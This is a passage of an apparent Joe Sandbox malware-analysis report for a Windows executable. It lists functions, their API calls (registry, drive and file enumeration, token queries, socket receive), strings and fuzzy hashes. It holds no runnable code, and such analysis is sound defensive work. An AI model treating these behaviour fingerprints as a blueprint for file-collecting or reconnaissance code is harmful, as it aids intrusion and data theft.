_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD8010
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD8016
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD801C

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: c0dcfe63c61778cfeb782a26429f651438a07125ebc27434e957228cb18fa280
Instruction ID: 0e96f875ca2ed54cd7cb7721536764af589b91eb4174f0842a87328c077ad1c2
Opcode Fuzzy Hash: c0dcfe63c61778cfeb782a26429f651438a07125ebc27434e957228cb18fa280
Instruction Fuzzy Hash: C3E1D1A3E18BC145EB109B79C8453FD6722EB997E8F105721EA7D46ADAEF7891C0C340

Function 00007FF6F1DF092C Relevance: 10.8, APIs: 7, Instructions: 290COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6F1DF0D59

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: f3fc50aa6c1617f97820c214b6f357f8593fa625a947542fe4ec2dfdbb2d532b
Instruction ID: dbc664b2785a6714434e863566adaf1f1067195c3a165db7ad674f210e708ac2
Opcode Fuzzy Hash: f3fc50aa6c1617f97820c214b6f357f8593fa625a947542fe4ec2dfdbb2d532b
Instruction Fuzzy Hash: A4C1CF22A0C78781E7608B1594002BEBBB2EF91BD4F554231DA7E877D1EF7EEA458700

Function 00007FF6F1DD7151 Relevance: 9.2, APIs: 6, Instructions: 163registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32 ref: 00007FF6F1DD7169
RegEnumKeyExA.KERNEL32 ref: 00007FF6F1DD71AE
RegCloseKey.ADVAPI32 ref: 00007FF6F1DD73A4
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD73D7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD73E3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD73E9

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CloseEnumOpen
String ID:
API String ID: 2177193445-0
Opcode ID: c776229b646a060b2928c0d5c5f80b0a6a94997743fe38de0b506056c7555680
Instruction ID: 08fef97ad905a2924b49fa294441a002fd8d970cf6978616d25624acc877893d
Opcode Fuzzy Hash: c776229b646a060b2928c0d5c5f80b0a6a94997743fe38de0b506056c7555680
Instruction Fuzzy Hash: 8C717C72A08B8685EB108B65E4807AD7771FB857E8F104325EABD52AD9EF7CE081C700

Function 00007FF6F1DCEA50 Relevance: 9.0, APIs: 6, Instructions: 41COMMON

Download Yara Rule

APIs

DeleteObject.GDI32 ref: 00007FF6F1DCEA93
EnterCriticalSection.KERNEL32 ref: 00007FF6F1DCEAA5
EnterCriticalSection.KERNEL32 ref: 00007FF6F1DCEAB5
GdiplusShutdown.GDIPLUS ref: 00007FF6F1DCEAC3
LeaveCriticalSection.KERNEL32 ref: 00007FF6F1DCEAD0
LeaveCriticalSection.KERNEL32 ref: 00007FF6F1DCEADA

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: CriticalSection$EnterLeave$DeleteGdiplusObjectShutdown
String ID:
API String ID: 4268643673-0
Opcode ID: f5a1ecfcc53808b035d0d15b7c47fae7049546fa7d089acffeffd9e0bb2d86bb
Instruction ID: a4119ed655f9d730c57956be0fb11c43f9bf218adf62505ec1f4b33dfb9d059e
Opcode Fuzzy Hash: f5a1ecfcc53808b035d0d15b7c47fae7049546fa7d089acffeffd9e0bb2d86bb
Instruction Fuzzy Hash: 4A113A32915B9281EB109F25F85006977B4FF48FA4B684735DA6E836E4EF38D897C740

Function 00007FF6F1DBF7A0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 231COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DBFB09
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DBFB0F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DBFB15
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DBFB1B

Strings

exists, xrefs: 00007FF6F1DBFAE7, 00007FF6F1DBFAFC

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: exists
API String ID: 3668304517-2996790960
Opcode ID: e04a2d50c8f385e6499823a3ebda7b65423cd4e0b226007066fa1e576fa1340b
Instruction ID: f36d768c5d7e5e73ed0bc012697920c19f33534da6b83cbdbd0b541a6569e250
Opcode Fuzzy Hash: e04a2d50c8f385e6499823a3ebda7b65423cd4e0b226007066fa1e576fa1340b
Instruction Fuzzy Hash: 79A19372A18B8695EB14DF28D8402AD6371FB847D8F505736EA6D87AD9EF3CD581C300

Function 00007FF6F1DBCAB0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 231COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DBCE19
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DBCE1F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DBCE25
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DBCE2B

Strings

exists, xrefs: 00007FF6F1DBCDF7, 00007FF6F1DBCE0C

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: exists
API String ID: 3668304517-2996790960
Opcode ID: 1e167dbfa9446cc884f66ef001b47e437e1b8ac97ba8aabf58af8ee335466f06
Instruction ID: 92fb97b9117bd39cc3169a610b2c713b3d27a83e0c0e1d8a61098790ac8307d0
Opcode Fuzzy Hash: 1e167dbfa9446cc884f66ef001b47e437e1b8ac97ba8aabf58af8ee335466f06
Instruction Fuzzy Hash: 24A18472A14B8685EB10DF28D8402AD7371FB847D8F505736EA6D97AE9EF38D581C300

Function 00007FF6F1DD70E0 Relevance: 7.6, APIs: 5, Instructions: 96registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32 ref: 00007FF6F1DD7169
RegEnumKeyExA.KERNEL32 ref: 00007FF6F1DD71AE

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: EnumOpen
String ID:
API String ID: 3231578192-0
Opcode ID: d80f14cf87453080268adb68deae75d6ba4fc3d7dfc0e44dc0fd8621660a0c44
Instruction ID: 0cc4186089279fe8c92582e2079c2aed49d955296385637d22c49f3f82093549
Opcode Fuzzy Hash: d80f14cf87453080268adb68deae75d6ba4fc3d7dfc0e44dc0fd8621660a0c44
Instruction Fuzzy Hash: 2C319132A04B8685E7208F61E850AAE7375FB847DCF600225EEAD57B94EF3CD591C700

Function 00007FF6F1DD0040 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 333COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD064D

Strings

exists, xrefs: 00007FF6F1DD0663
ios_base::badbit set, xrefs: 00007FF6F1DD0685, 00007FF6F1DD06BC, 00007FF6F1DD06FA

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: exists$ios_base::badbit set
API String ID: 3668304517-2074760687
Opcode ID: e619bbfd42c6c03db77ba22fda0677a058d6bbf381ae48a0e42117c7bcf960cf
Instruction ID: 3148deac2112601b6a17119a2923bd3bba74f0c2508f778ecf245575ca1bf25a
Opcode Fuzzy Hash: e619bbfd42c6c03db77ba22fda0677a058d6bbf381ae48a0e42117c7bcf960cf
Instruction Fuzzy Hash: 8CF12F72A1D6C695EB60DB14E4943EAB371FBC5784F805232DAAD82AD9EF3CD505CB00

Function 00007FF6F1DD0730 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 325COMMON

Download Yara Rule

Strings

exists, xrefs: 00007FF6F1DD0D3B
ios_base::badbit set, xrefs: 00007FF6F1DD0D5D, 00007FF6F1DD0D94, 00007FF6F1DD0DD2

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID:
String ID: exists$ios_base::badbit set
API String ID: 0-2074760687
Opcode ID: 7b6b1183aa84b4d77525a0bba7c5d13424fb6c8e79121537bf5e2faad3b9cd75
Instruction ID: 0565fdb3775d6dfc7640ad1fc770ea2f75897720566ef663fcbe8a002e63c4aa
Opcode Fuzzy Hash: 7b6b1183aa84b4d77525a0bba7c5d13424fb6c8e79121537bf5e2faad3b9cd75
Instruction Fuzzy Hash: 8FF14E72A19AC691EB20DB14E4943EEB371FBC4784F404232DAAD92AD9EF7CD545CB40

Function 00007FF6F1D87AA0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6F1DD73F0: GetLogicalDriveStringsW.KERNEL32 ref: 00007FF6F1DD7461

Part of subcall function 00007FF6F1D87AA0: FindFirstFileW.KERNEL32 ref: 00007FF6F1D86E8F

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D87C0F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D87C15

Strings

content, xrefs: 00007FF6F1D8755F
filename, xrefs: 00007FF6F1D8746A

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$DriveFileFindFirstLogicalStrings
String ID: content$filename
API String ID: 3820383557-474635906
Opcode ID: 9fc647629c53a16720b72c556fd9c9da561538ccf96e655352ef13d7647e16b7
Instruction ID: 04d089261a253346c42669db2a789e639deb381b4f7c36b98d93295c34e859b3
Opcode Fuzzy Hash: 9fc647629c53a16720b72c556fd9c9da561538ccf96e655352ef13d7647e16b7
Instruction Fuzzy Hash: A5418562E5C68142EB209B19E04026EA772EFC5BF4F185331EBBD476D9EF7CE5808600

Function 00007FF6F1D98560 Relevance: 6.2, APIs: 4, Instructions: 192COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6F1D986A0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D986A6
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6F1D9879F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D987A5

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 73155330-0
Opcode ID: 0d176dd797fbc519d31d78ed68bb81ecfa49c2ddc217736fc8585786b44a4904
Instruction ID: 0a1335892ba548cb7e5b2e643b417bff17cb73cf5e57a73aa80de51ddb9eb204
Opcode Fuzzy Hash: 0d176dd797fbc519d31d78ed68bb81ecfa49c2ddc217736fc8585786b44a4904
Instruction Fuzzy Hash: 8451D562B0974685EF249B12A5203BD6261AB44FE4F984731DE7D8B7DAFF3CE1918340

Function 00007FF6F1DCF820 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6F1DCF85B
OpenProcessToken.ADVAPI32 ref: 00007FF6F1DCF86E
GetTokenInformation.KERNELBASE ref: 00007FF6F1DCF8AA
CloseHandle.KERNEL32 ref: 00007FF6F1DCF8CB

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: ProcessToken$CloseCurrentHandleInformationOpen
String ID:
API String ID: 215268677-0
Opcode ID: 1c225c442ed3ae12c114120d81f2afce391d37106ff629cfd40a7a8c2f449ed4
Instruction ID: 67c6b76e71cb015b7cc536faaec5e1cf0ed56ca0effae298c1ae0e4c4cd88d7f
Opcode Fuzzy Hash: 1c225c442ed3ae12c114120d81f2afce391d37106ff629cfd40a7a8c2f449ed4
Instruction Fuzzy Hash: A1110D72A18B8182E7509F11F85076BB3B0FB88B80F545135EAAE87BA8DF3CD405CB40

Function 00007FF6F1D91EB0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 153COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6F1D9209C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D920A2

Strings

, xrefs: 00007FF6F1D91F33

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 73155330-3916222277
Opcode ID: 7f2897b162578d5d433b68ac49905666223ccc293319a8928ca3dbb77473c4e8
Instruction ID: db10260fd8328224b59185cf3285de7efca8fa90580ac27694c84c3d1bcf4a48
Opcode Fuzzy Hash: 7f2897b162578d5d433b68ac49905666223ccc293319a8928ca3dbb77473c4e8
Instruction Fuzzy Hash: A1515C32A08B4596EB158F2AD5642687375FB84BD4F944635DB6D837E8EF39E061C300

Function 00007FF6F1DD6460 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegGetValueA.KERNEL32 ref: 00007FF6F1DD64C9

Strings

ProductName, xrefs: 00007FF6F1DD64B4
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 00007FF6F1DD64BB

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: Value
String ID: ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
API String ID: 3702945584-1787575317
Opcode ID: ca02e5c3ed8e0fc6be14c1ad152ff79eaac3ff22c286f7938fb5c96ca43ff221
Instruction ID: aa678b5fc79f27df4929f8dae014821303bf202e7e448e9ef219843d70fd3513
Opcode Fuzzy Hash: ca02e5c3ed8e0fc6be14c1ad152ff79eaac3ff22c286f7938fb5c96ca43ff221
Instruction Fuzzy Hash: 9D11303291CB8582D7208F25F4513AAB3A4FB89784F904225EAAD87B99DF7CD155CB40

Function 00007FF6F1DD4DB7 Relevance: 4.7, APIs: 3, Instructions: 182networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FF6F1DD50EC
closesocket.WS2_32 ref: 00007FF6F1DD50FE
WSACleanup.WS2_32 ref: 00007FF6F1DD5104
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD521A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD5226
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD522C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD5232

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Cleanupclosesocketrecv
String ID:
API String ID: 1729841683-0
Opcode ID: f55d7dc3cf14b4febdb0636d9ab5889e94c5031841c0f615dac5b719bd42c758
Instruction ID: 2daea23723fa0452cc1145736737b5604fa3ebf576e73754f00208b5bd14acdc
Opcode Fuzzy Hash: f55d7dc3cf14b4febdb0636d9ab5889e94c5031841c0f615dac5b719bd42c758
Instruction Fuzzy Hash: FD916463E18BC541EB209B24E4543AE6772EBD57E0F504331EABD46AD9EF7DD4808B40

Function 00007FF6F1D7E2A0 Relevance: 4.7, APIs: 3, Instructions: 175COMMON

Download Yara Rule

APIs

__std_fs_directory_iterator_open.LIBCPMT ref: 00007FF6F1D7E3D3

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: __std_fs_directory_iterator_open
String ID:
API String ID: 4007087469-0
